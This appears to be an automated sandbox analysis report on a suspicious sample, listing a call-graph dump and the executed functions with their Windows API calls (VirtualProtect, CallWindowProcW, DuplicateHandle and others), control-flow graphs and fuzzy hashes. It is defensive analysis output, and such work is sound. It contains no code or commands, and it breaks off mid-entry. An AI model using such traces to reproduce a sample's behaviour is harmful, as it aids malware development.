4 API calls 34779 5246eb7 34778->34779 34780 524662c 4 API calls 34779->34780 34781 5246ee9 34780->34781 34790 524663c 34781->34790 34783 5246f1b 34796 5246c10 34783->34796 34785 5246f4d 34787 5246637 34786->34787 34800 5246d20 34787->34800 34789 5246e85 34789->34778 34791 5246647 34790->34791 34793 2ac83a8 4 API calls 34791->34793 34794 2ac5ce8 4 API calls 34791->34794 34795 2ac5d47 4 API calls 34791->34795 34792 5248396 34792->34783 34793->34792 34794->34792 34795->34792 34797 5246c1b 34796->34797 34798 5247d90 4 API calls 34797->34798 34799 52487cf 34798->34799 34799->34785 34801 5246d2b 34800->34801 34803 2ac83a8 4 API calls 34801->34803 34804 2ac5ce8 4 API calls 34801->34804 34805 2ac5d47 4 API calls 34801->34805 34802 52480ac 34802->34789 34803->34802 34804->34802 34805->34802 34673 52487b0 34674 52487d6 34673->34674 34675 52487b3 34673->34675 34679 5248802 34674->34679 34681 2ac5ce8 4 API calls 34674->34681 34689 2ac5d47 34674->34689 34699 2ac83a8 34674->34699 34675->34674 34676 52487bb 34675->34676 34683 5247d90 34676->34683 34678 52487cf 34681->34679 34684 5247d9b 34683->34684 34685 5248802 34684->34685 34686 2ac83a8 4 API calls 34684->34686 34687 2ac5ce8 4 API calls 34684->34687 34688 2ac5d47 4 API calls 34684->34688 34685->34678 34686->34685 34687->34685 34688->34685 34691 2ac5cf3 34689->34691 34690 2ac5d7e 34691->34689 34691->34690 34692 2ac8410 34691->34692 34695 2ac86b8 4 API calls 34691->34695 34694 2ac866b 34692->34694 34698 2acad19 2 API calls 34692->34698 34693 2ac86a9 34693->34679 34694->34693 34696 2acce00 4 API calls 34694->34696 34697 2acce10 4 API calls 34694->34697 34695->34692 34696->34693 34697->34693 34698->34694 34700 2ac83e3 34699->34700 34701 2ac8410 34700->34701 34704 2ac86b8 4 API calls 34700->34704 34703 2ac866b 34701->34703 34707 2acad19 2 API calls 34701->34707 34702 2ac86a9 34702->34679 34703->34702 34705 2acce00 4 API calls 34703->34705 34706 2acce10 4 API calls 34703->34706 34704->34701 34705->34702 34706->34702 34707->34703 34806 2acd4d8 34807 2acd51e 34806->34807 34811 2acd6a8 34807->34811 34815 2acd6b8 34807->34815 34808 2acd60b 34812 2acd6b8 34811->34812 34818 2acb830 34812->34818 34816 2acb830 DuplicateHandle 34815->34816 34817 2acd6e6 34816->34817 34817->34808 34819 2acd720 DuplicateHandle 34818->34819 34820 2acd6e6 34819->34820 34820->34808 34821 74159b4 34823 7417cc0 VirtualProtect 34821->34823 34824 7417cb8 VirtualProtect 34821->34824 34822 74159e5 34823->34822 34824->34822 34712 141d01c 34713 141d034 34712->34713 34714 141d08e 34713->34714 34719 5242808 34713->34719 34724 5241a98 34713->34724 34729 5241aa8 34713->34729 34734 5242818 34713->34734 34720 5242818 34719->34720 34721 5242877 34720->34721 34739 5242da8 34720->34739 34744 5242d88 34720->34744 34725 5241aa8 34724->34725 34727 5242808 2 API calls 34725->34727 34728 5242818 2 API calls 34725->34728 34726 5241aef 34726->34714 34727->34726 34728->34726 34730 5241ace 34729->34730 34732 5242808 2 API calls 34730->34732 34733 5242818 2 API calls 34730->34733 34731 5241aef 34731->34714 34732->34731 34733->34731 34735 5242845 34734->34735 34736 5242877 34735->34736 34737 5242da8 2 API calls 34735->34737 34738 5242d88 2 API calls 34735->34738 34737->34736 34738->34736 34741 5242dbc 34739->34741 34740 5242e48 34740->34721 34749 5242e60 34741->34749 34752 5242e50 34741->34752 34746 5242da8 34744->34746 34745 5242e48 34745->34721 34747 5242e60 2 API calls 34746->34747 34748 5242e50 2 API calls 34746->34748 34747->34745 34748->34745 34750 5242e71 34749->34750 34756 5244022 34749->34756 34750->34740 34753 5242e60 34752->34753 34754 5242e71 34753->34754 34755 5244022 2 API calls 34753->34755 34754->34740 34755->34754 34760 5244040 34756->34760 34764 5244050 34756->34764 34757 524403a 34757->34750 34761 5244050 34760->34761 34762 52440ea CallWindowProcW 34761->34762 34763 5244099 34761->34763 34762->34763 34763->34757 34765 5244092 34764->34765 34767 5244099 34764->34767 34766 52440ea CallWindowProcW 34765->34766 34765->34767 34766->34767 34767->34757 34768 524803a 34769 5248043 34768->34769 34771 2ac83a8 4 API calls 34769->34771 34772 2ac5ce8 4 API calls 34769->34772 34773 2ac5d47 4 API calls 34769->34773 34770 52480ac 34771->34770 34772->34770 34773->34770

                                                                                                                                                              Executed Functions

                                                                                                                                                              Function 02ACAE48 Relevance: 1.7, APIs: 1, Instructions: 196COMMON
                                                                                                                                                              Download Yara Rule

                                                                                                                                                              Control-flow Graph

                                                                                                                                                              • Executed
                                                                                                                                                              • Not Executed
                                                                                                                                                              control_flow_graph 305 2acae48-2acae57 306 2acae59-2acae66 call 2aca1a0 305->306 307 2acae83-2acae87 305->307 312 2acae7c 306->312 313 2acae68 306->313 309 2acae89-2acae93 307->309 310 2acae9b-2acaedc 307->310 309->310 316 2acaede-2acaee6 310->316 317 2acaee9-2acaef7 310->317 312->307 360 2acae6e call 2acb0e0 313->360 361 2acae6e call 2acb0d1 313->361 316->317 318 2acaef9-2acaefe 317->318 319 2acaf1b-2acaf1d 317->319 321 2acaf09 318->321 322 2acaf00-2acaf07 call 2aca1ac 318->322 324 2acaf20-2acaf27 319->324 320 2acae74-2acae76 320->312 323 2acafb8-2acb078 320->323 326 2acaf0b-2acaf19 321->326 322->326 355 2acb07a-2acb07d 323->355 356 2acb080-2acb0ab GetModuleHandleW 323->356 327 2acaf29-2acaf31 324->327 328 2acaf34-2acaf3b 324->328 326->324 327->328 330 2acaf3d-2acaf45 328->330 331 2acaf48-2acaf51 call 2aca1bc 328->331 330->331 336 2acaf5e-2acaf63 331->336 337 2acaf53-2acaf5b 331->337 338 2acaf65-2acaf6c 336->338 339 2acaf81-2acaf8e 336->339 337->336 338->339 341 2acaf6e-2acaf7e call 2aca1cc call 2aca1dc 338->341 346 2acaf90-2acafae 339->346 347 2acafb1-2acafb7 339->347 341->339 346->347 355->356 357 2acb0ad-2acb0b3 356->357 358 2acb0b4-2acb0c8 356->358 357->358 360->320 361->320
                                                                                                                                                              APIs
                                                                                                                                                              • GetModuleHandleW.KERNELBASE(00000000), ref: 02ACB09E
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000C.00000002.2212365859.0000000002AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AC0000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_12_2_2ac0000_EYDNKhhJr.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: HandleModule
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID: 4139908857-0
                                                                                                                                                              • Opcode ID: 2e614f589bbc8a9516991d4e7a23939ae662cd4b4a5e66b752547e6da62f2cfd
                                                                                                                                                              • Instruction ID: fb2950a7921cadfb64976b40287e19d3e0db764b60d34f8c150a1e83adf44606
                                                                                                                                                              • Opcode Fuzzy Hash: 2e614f589bbc8a9516991d4e7a23939ae662cd4b4a5e66b752547e6da62f2cfd
                                                                                                                                                              • Instruction Fuzzy Hash: DF7148B0A00B098FD724DF29D49576ABBF1BF48304F10892EE48AD7A51DB35E945CF91
                                                                                                                                                              Function 052418E4 Relevance: 1.6, APIs: 1, Instructions: 115COMMON
                                                                                                                                                              Download Yara Rule

                                                                                                                                                              Control-flow Graph

                                                                                                                                                              • Executed
                                                                                                                                                              • Not Executed
                                                                                                                                                              control_flow_graph 362 52418e4-5241956 363 5241961-5241968 362->363 364 5241958-524195e 362->364 365 5241973-5241a12 CreateWindowExW 363->365 366 524196a-5241970 363->366 364->363 368 5241a14-5241a1a 365->368 369 5241a1b-5241a53 365->369 366->365 368->369 373 5241a55-5241a58 369->373 374 5241a60 369->374 373->374 375 5241a61 374->375 375->375
                                                                                                                                                              APIs
                                                                                                                                                              • CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 05241A02
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000C.00000002.2215809028.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_12_2_5240000_EYDNKhhJr.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: CreateWindow
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID: 716092398-0
                                                                                                                                                              • Opcode ID: 3e06947299da8c7cc56d45fcd94e68db12034815b648be7221fac8c492ab9ee5
                                                                                                                                                              • Instruction ID: d94f298fedab8b1089befd0e55893e2a826eea4584a1464f150003d39ab231e9
                                                                                                                                                              • Opcode Fuzzy Hash: 3e06947299da8c7cc56d45fcd94e68db12034815b648be7221fac8c492ab9ee5
                                                                                                                                                              • Instruction Fuzzy Hash: 0951E2B1D10359DFDF14CF99C984ADEBBB5BF48310F24822AE819AB210D7759985CF90
                                                                                                                                                              Function 052418F0 Relevance: 1.6, APIs: 1, Instructions: 113COMMON
                                                                                                                                                              Download Yara Rule

                                                                                                                                                              Control-flow Graph

                                                                                                                                                              • Executed
                                                                                                                                                              • Not Executed
                                                                                                                                                              control_flow_graph 376 52418f0-5241956 377 5241961-5241968 376->377 378 5241958-524195e 376->378 379 5241973-5241a12 CreateWindowExW 377->379 380 524196a-5241970 377->380 378->377 382 5241a14-5241a1a 379->382 383 5241a1b-5241a53 379->383 380->379 382->383 387 5241a55-5241a58 383->387 388 5241a60 383->388 387->388 389 5241a61 388->389 389->389
                                                                                                                                                              APIs
                                                                                                                                                              • CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 05241A02
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000C.00000002.2215809028.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_12_2_5240000_EYDNKhhJr.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: CreateWindow
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID: 716092398-0
                                                                                                                                                              • Opcode ID: 91882c7f4366cb0e37e83ace8208daa5d879e109a5e7c66ae4d4039941767b9e
                                                                                                                                                              • Instruction ID: a8af544c5197306eac0694c172af5523f4b7abbac6ec14cbc7509053e19dff7a
                                                                                                                                                              • Opcode Fuzzy Hash: 91882c7f4366cb0e37e83ace8208daa5d879e109a5e7c66ae4d4039941767b9e
                                                                                                                                                              • Instruction Fuzzy Hash: E741B0B1D10359DFDB14CF99C884ADEBBB5BF88310F24812AE819AB210D7759995CF90
                                                                                                                                                              Function 02AC44B0 Relevance: 1.6, APIs: 1, Instructions: 96COMMON
                                                                                                                                                              Download Yara Rule

                                                                                                                                                              Control-flow Graph

                                                                                                                                                              • Executed
                                                                                                                                                              • Not Executed
                                                                                                                                                              control_flow_graph 390 2ac44b0-2ac59d9 CreateActCtxA 393 2ac59db-2ac59e1 390->393 394 2ac59e2-2ac5a3c 390->394 393->394 401 2ac5a3e-2ac5a41 394->401 402 2ac5a4b-2ac5a4f 394->402 401->402 403 2ac5a60-2ac5a90 402->403 404 2ac5a51-2ac5a5d 402->404 408 2ac5a42-2ac5a4a 403->408 409 2ac5a92-2ac5b14 403->409 404->403 408->402 412 2ac59cf-2ac59d9 408->412 412->393 412->394
                                                                                                                                                              APIs
                                                                                                                                                              • CreateActCtxA.KERNEL32(?), ref: 02AC59C9
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000C.00000002.2212365859.0000000002AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AC0000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_12_2_2ac0000_EYDNKhhJr.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: Create
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID: 2289755597-0
                                                                                                                                                              • Opcode ID: f66b8b885306bcce14a8fb0d147832df72e6651e918c908d2fb855cb9d029184
                                                                                                                                                              • Instruction ID: 40035bfaacdef7b259a6c8dff8e04e46457a835f715007d68ded129ce0403c40
                                                                                                                                                              • Opcode Fuzzy Hash: f66b8b885306bcce14a8fb0d147832df72e6651e918c908d2fb855cb9d029184
                                                                                                                                                              • Instruction Fuzzy Hash: 7441C170C0071DCBEB24CFAAC8847CEBBB5BF49704F60805AD408AB255DBB56945CF91
                                                                                                                                                              Function 02AC590D Relevance: 1.6, APIs: 1, Instructions: 95COMMON
                                                                                                                                                              Download Yara Rule

                                                                                                                                                              Control-flow Graph

                                                                                                                                                              • Executed
                                                                                                                                                              • Not Executed
                                                                                                                                                              control_flow_graph 413 2ac590d-2ac59d9 CreateActCtxA 415 2ac59db-2ac59e1 413->415 416 2ac59e2-2ac5a3c 413->416 415->416 423 2ac5a3e-2ac5a41 416->423 424 2ac5a4b-2ac5a4f 416->424 423->424 425 2ac5a60-2ac5a90 424->425 426 2ac5a51-2ac5a5d 424->426 430 2ac5a42-2ac5a4a 425->430 431 2ac5a92-2ac5b14 425->431 426->425 430->424 434 2ac59cf-2ac59d9 430->434 434->415 434->416
                                                                                                                                                              APIs
                                                                                                                                                              • CreateActCtxA.KERNEL32(?), ref: 02AC59C9
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000C.00000002.2212365859.0000000002AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AC0000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_12_2_2ac0000_EYDNKhhJr.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: Create
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID: 2289755597-0
                                                                                                                                                              • Opcode ID: 8758a34cf441aaaf9dc4e778e4ab2308e7c5553690e1bdc10ce4e3de2c845466
                                                                                                                                                              • Instruction ID: f5763f7819b98bb95aede033ccb90d13e244af6bbd52ddfaf32e8543631d83ad
                                                                                                                                                              • Opcode Fuzzy Hash: 8758a34cf441aaaf9dc4e778e4ab2308e7c5553690e1bdc10ce4e3de2c845466
                                                                                                                                                              • Instruction Fuzzy Hash: B041B070C0071DCBEB24CFAAC884BDEBBB1BF49704F60816AD448AB255DB756949CF51
                                                                                                                                                              Function 05244050 Relevance: 1.6, APIs: 1, Instructions: 93COMMON
                                                                                                                                                              Download Yara Rule

                                                                                                                                                              Control-flow Graph

                                                                                                                                                              • Executed
                                                                                                                                                              • Not Executed
                                                                                                                                                              control_flow_graph 435 5244050-524408c 436 5244092-5244097 435->436 437 524413c-524415c 435->437 438 5244099-52440d0 436->438 439 52440ea-5244122 CallWindowProcW 436->439 443 524415f-524416c 437->443 445 52440d2-52440d8 438->445 446 52440d9-52440e8 438->446 441 5244124-524412a 439->441 442 524412b-524413a 439->442 441->442 442->443 445->446 446->443
                                                                                                                                                              APIs
                                                                                                                                                              • CallWindowProcW.USER32(?,?,?,?,?), ref: 05244111
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000C.00000002.2215809028.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_12_2_5240000_EYDNKhhJr.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: CallProcWindow
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID: 2714655100-0
                                                                                                                                                              • Opcode ID: dd644d807e3976c6fa0d400d8ff74e559bbbcf26732cc932cbf43b948def3ae3
                                                                                                                                                              • Instruction ID: edde48dc29a39ff0c108e0e31425fcecff4bcb6f14c680ab5bee81b6d1943539
                                                                                                                                                              • Opcode Fuzzy Hash: dd644d807e3976c6fa0d400d8ff74e559bbbcf26732cc932cbf43b948def3ae3
                                                                                                                                                              • Instruction Fuzzy Hash: 864138B4910309DFDB18DF89C848BAABBF6FF88314F258459D519AB321D375A841CFA0
                                                                                                                                                              Function 02ACB830 Relevance: 1.6, APIs: 1, Instructions: 65COMMON
                                                                                                                                                              Download Yara Rule

                                                                                                                                                              Control-flow Graph

                                                                                                                                                              • Executed
                                                                                                                                                              • Not Executed
                                                                                                                                                              control_flow_graph 449 2acb830-2acd7b4 DuplicateHandle 451 2acd7bd-2acd7da 449->451 452 2acd7b6-2acd7bc 449->452 452->451
                                                                                                                                                              APIs
                                                                                                                                                              • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,02ACD6E6,?,?,?,?,?), ref: 02ACD7A7
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000C.00000002.2212365859.0000000002AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AC0000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_12_2_2ac0000_EYDNKhhJr.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: DuplicateHandle
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID: 3793708945-0
                                                                                                                                                              • Opcode ID: e256c35d10a17d78c173f0dc93c65c2c0ec1d85dfbaf557647c3c6a87fc40f6e
                                                                                                                                                              • Instruction ID: b9329b28211188f915fcb40bf2d57a79ddab8f952e3fc81f4024e739dab644e8
                                                                                                                                                              • Opcode Fuzzy Hash: e256c35d10a17d78c173f0dc93c65c2c0ec1d85dfbaf557647c3c6a87fc40f6e
                                                                                                                                                              • Instruction Fuzzy Hash: F721E5B5900648EFDB10CF9AD984ADEBBF4EB48310F14846AE914B7310D378A954CFA5
                                                                                                                                                              Function 02ACD719 Relevance: 1.6, APIs: 1, Instructions: 62COMMON
                                                                                                                                                              Download Yara Rule

                                                                                                                                                              Control-flow Graph

                                                                                                                                                              • Executed
                                                                                                                                                              • Not Executed
                                                                                                                                                              control_flow_graph 455 2acd719-2acd7b4 DuplicateHandle 456 2acd7bd-2acd7da 455->456 457 2acd7b6-2acd7bc 455->457 457->456
                                                                                                                                                              APIs
                                                                                                                                                              • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,02ACD6E6,?,?,?,?,?), ref: 02ACD7A7
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000C.00000002.2212365859.0000000002AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AC0000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_12_2_2ac0000_EYDNKhhJr.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: DuplicateHandle
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID: 3793708945-0
                                                                                                                                                              • Opcode ID: a12f6a3dd6e6a0506123ebb56a086a8e49da53b11cf1ab279a8e6e8ae9f05a4a
                                                                                                                                                              • Instruction ID: 5969a59a353af11de52095ca29c3086d92dafe8bcedd358dc8d252029c73726d
                                                                                                                                                              • Opcode Fuzzy Hash: a12f6a3dd6e6a0506123ebb56a086a8e49da53b11cf1ab279a8e6e8ae9f05a4a
                                                                                                                                                              • Instruction Fuzzy Hash: 1E21E4B5900249EFDB10CFAAD984ADEBBF5EB48314F14842AE918B7310D378A954CF61
                                                                                                                                                              Function 07417CC0 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON
                                                                                                                                                              Download Yara Rule

                                                                                                                                                              Control-flow Graph

                                                                                                                                                              • Executed
                                                                                                                                                              • Not Executed
                                                                                                                                                              control_flow_graph 465 7417cc0-7417d40 VirtualProtect 467 7417d42-7417d48 465->467 468 7417d49-7417d6a 465->468 467->468
                                                                                                                                                              APIs
                                                                                                                                                              • VirtualProtect.KERNELBASE(?,?,?,?), ref: 07417D33
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000C.00000002.2217288614.0000000007410000.00000040.00000800.00020000.00000000.sdmp, Offset: 07410000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_12_2_7410000_EYDNKhhJr.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: ProtectVirtual
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID: 544645111-0
                                                                                                                                                              • Opcode ID: 9704dc5b65a77559f0b070e8dcb89811258b98b6febe61022ce5b1afe5eeaaad
                                                                                                                                                              • Instruction ID: 58f7b3eed97e9527d3184505313a4aca7f0bf6082090e7ae05c3439e6d6ebc94
                                                                                                                                                              • Opcode Fuzzy Hash: 9704dc5b65a77559f0b070e8dcb89811258b98b6febe61022ce5b1afe5eeaaad
                                                                                                                                                              • Instruction Fuzzy Hash: D121E4B5900649DFDB10DF9AC984BDEFBF4FB48320F10842AE958A7250D378A644CFA5
                                                                                                                                                              Function 07417CB8 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON
                                                                                                                                                              Download Yara Rule

                                                                                                                                                              Control-flow Graph

                                                                                                                                                              • Executed
                                                                                                                                                              • Not Executed
                                                                                                                                                              control_flow_graph 460 7417cb8-7417d40 VirtualProtect 462 7417d42-7417d48 460->462 463 7417d49-7417d6a 460->463 462->463
                                                                                                                                                              APIs
                                                                                                                                                              • VirtualProtect.KERNELBASE(?,?,?,?), ref: 07417D33
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000C.00000002.2217288614.0000000007410000.00000040.00000800.00020000.00000000.sdmp, Offset: 07410000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_12_2_7410000_EYDNKhhJr.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: ProtectVirtual
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID: 544645111-0
                                                                                                                                                              • Opcode ID: f306f95430364fc498377424a2e74253e7b91a3ccf1f727f8140e035c34ea119
                                                                                                                                                              • Instruction ID: 52e382dd277f7b0d7578766b3232af94150c58a04ecf6bdc919c00250789e00c
                                                                                                                                                              • Opcode Fuzzy Hash: f306f95430364fc498377424a2e74253e7b91a3ccf1f727f8140e035c34ea119
                                                                                                                                                              • Instruction Fuzzy Hash: 1321F4B5900249DFDB10DF9AC584BDEFBF4FB48310F10842AE858A7650D378A644CFA5
                                                                                                                                                              Function 02ACB038 Relevance: 1.5, APIs: 1, Instructions: 47COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              APIs
                                                                                                                                                              • GetModuleHandleW.KERNELBASE(00000000), ref: 02ACB09E
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000C.00000002.2212365859.0000000002AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AC0000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_12_2_2ac0000_EYDNKhhJr.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: HandleModule
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID: 4139908857-0
                                                                                                                                                              • Opcode ID: fe6df61976bae781b11b18cae66feda6c1a058dd6d72a451b0206d9d051e5324
                                                                                                                                                              • Instruction ID: e97103109943ef87fe30167d373c99ab627a39384cf6fb33009ed56ed6566d5d
                                                                                                                                                              • Opcode Fuzzy Hash: fe6df61976bae781b11b18cae66feda6c1a058dd6d72a451b0206d9d051e5324
                                                                                                                                                              • Instruction Fuzzy Hash: EA1113B5C00749CFDB10CF9AC444BDEFBF4AB88328F10841AD428A7600D376A545CFA1
                                                                                                                                                              Function 00F7D3D8 Relevance: .1, Instructions: 75COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000C.00000002.2209196543.0000000000F7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F7D000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_12_2_f7d000_EYDNKhhJr.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: 5703cb024f3f27d08efad5c1584d0936f1075070c5cf2fbf209a90b3965a8b89
                                                                                                                                                              • Instruction ID: b8bf54afacf10b10f2094a3eb55e480d55b09e34a569a72cfa896c1c30cff231
                                                                                                                                                              • Opcode Fuzzy Hash: 5703cb024f3f27d08efad5c1584d0936f1075070c5cf2fbf209a90b3965a8b89
                                                                                                                                                              • Instruction Fuzzy Hash: 1621F172500204EFDB04DF14D9C0B26BB75FF98324F60C16AE90D0B256C336E856EAA2
                                                                                                                                                              Function 00F7D4C4 Relevance: .1, Instructions: 75COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000C.00000002.2209196543.0000000000F7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F7D000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_12_2_f7d000_EYDNKhhJr.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: 1f607160fef84d52b82b86aa19d2141bfe00ad4f0bea201734e834f0f028be90
                                                                                                                                                              • Instruction ID: 08fb24c5cd944f54e639e5a1bf0f589b343d335b373d86321cc41343f46bd209
                                                                                                                                                              • Opcode Fuzzy Hash: 1f607160fef84d52b82b86aa19d2141bfe00ad4f0bea201734e834f0f028be90
                                                                                                                                                              • Instruction Fuzzy Hash: 4C210672900244EFDB05DF14D9C0B26BF75FF88328F68C56AD9090B256C336D856DAA2
                                                                                                                                                              Function 0141D1D4 Relevance: .1, Instructions: 72COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000C.00000002.2211972929.000000000141D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0141D000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_12_2_141d000_EYDNKhhJr.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: 5d972ee9d8ad9690f9ebfdfa87991ca5fa3df2e67a81e78ca887865d65b91371
                                                                                                                                                              • Instruction ID: 3ab6a5ff9e9c66a1a99c074894b194aafb021ffb10847d3ebcd7c4f39bd0e190
                                                                                                                                                              • Opcode Fuzzy Hash: 5d972ee9d8ad9690f9ebfdfa87991ca5fa3df2e67a81e78ca887865d65b91371
                                                                                                                                                              • Instruction Fuzzy Hash: 2E2129B1A04304EFDB05DF94D9C4B66BBA5FB84324F20C66ED9094B36AC336D446CA61
                                                                                                                                                              Function 0141D01C Relevance: .1, Instructions: 72COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000C.00000002.2211972929.000000000141D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0141D000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_12_2_141d000_EYDNKhhJr.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: 3d9dafc30a9f3387c9ef904d676fbb954240da8bf504ccc8e68a1b34d72cbdee
                                                                                                                                                              • Instruction ID: 8f471a5b75410e52ab232d73cc1ba191de8643fd57b3209c3280a91b59019edc
                                                                                                                                                              • Opcode Fuzzy Hash: 3d9dafc30a9f3387c9ef904d676fbb954240da8bf504ccc8e68a1b34d72cbdee
                                                                                                                                                              • Instruction Fuzzy Hash: 9021D3F5A04204EFDB15DF68D988B16BF65EB84318F20C56ED90A4B36AC33AD447CA61
                                                                                                                                                              Function 0141D006 Relevance: .1, Instructions: 62COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000C.00000002.2211972929.000000000141D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0141D000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_12_2_141d000_EYDNKhhJr.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: 258c5fd4b89ceb5908b04d3f3fa244fee971395f755411b0335f70e8a563fa0a
                                                                                                                                                              • Instruction ID: 9f17802f48651ae2bc3fd5de5610e073e9da6c45e97d96fd7455818ca1272a20
                                                                                                                                                              • Opcode Fuzzy Hash: 258c5fd4b89ceb5908b04d3f3fa244fee971395f755411b0335f70e8a563fa0a
                                                                                                                                                              • Instruction Fuzzy Hash: C52180B55093809FDB06CF24D594716BF71EB46214F28C5DBD8498F2A7C33A980ACB62
                                                                                                                                                              Function 00F7D4BF Relevance: .1, Instructions: 56COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000C.00000002.2209196543.0000000000F7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F7D000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_12_2_f7d000_EYDNKhhJr.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
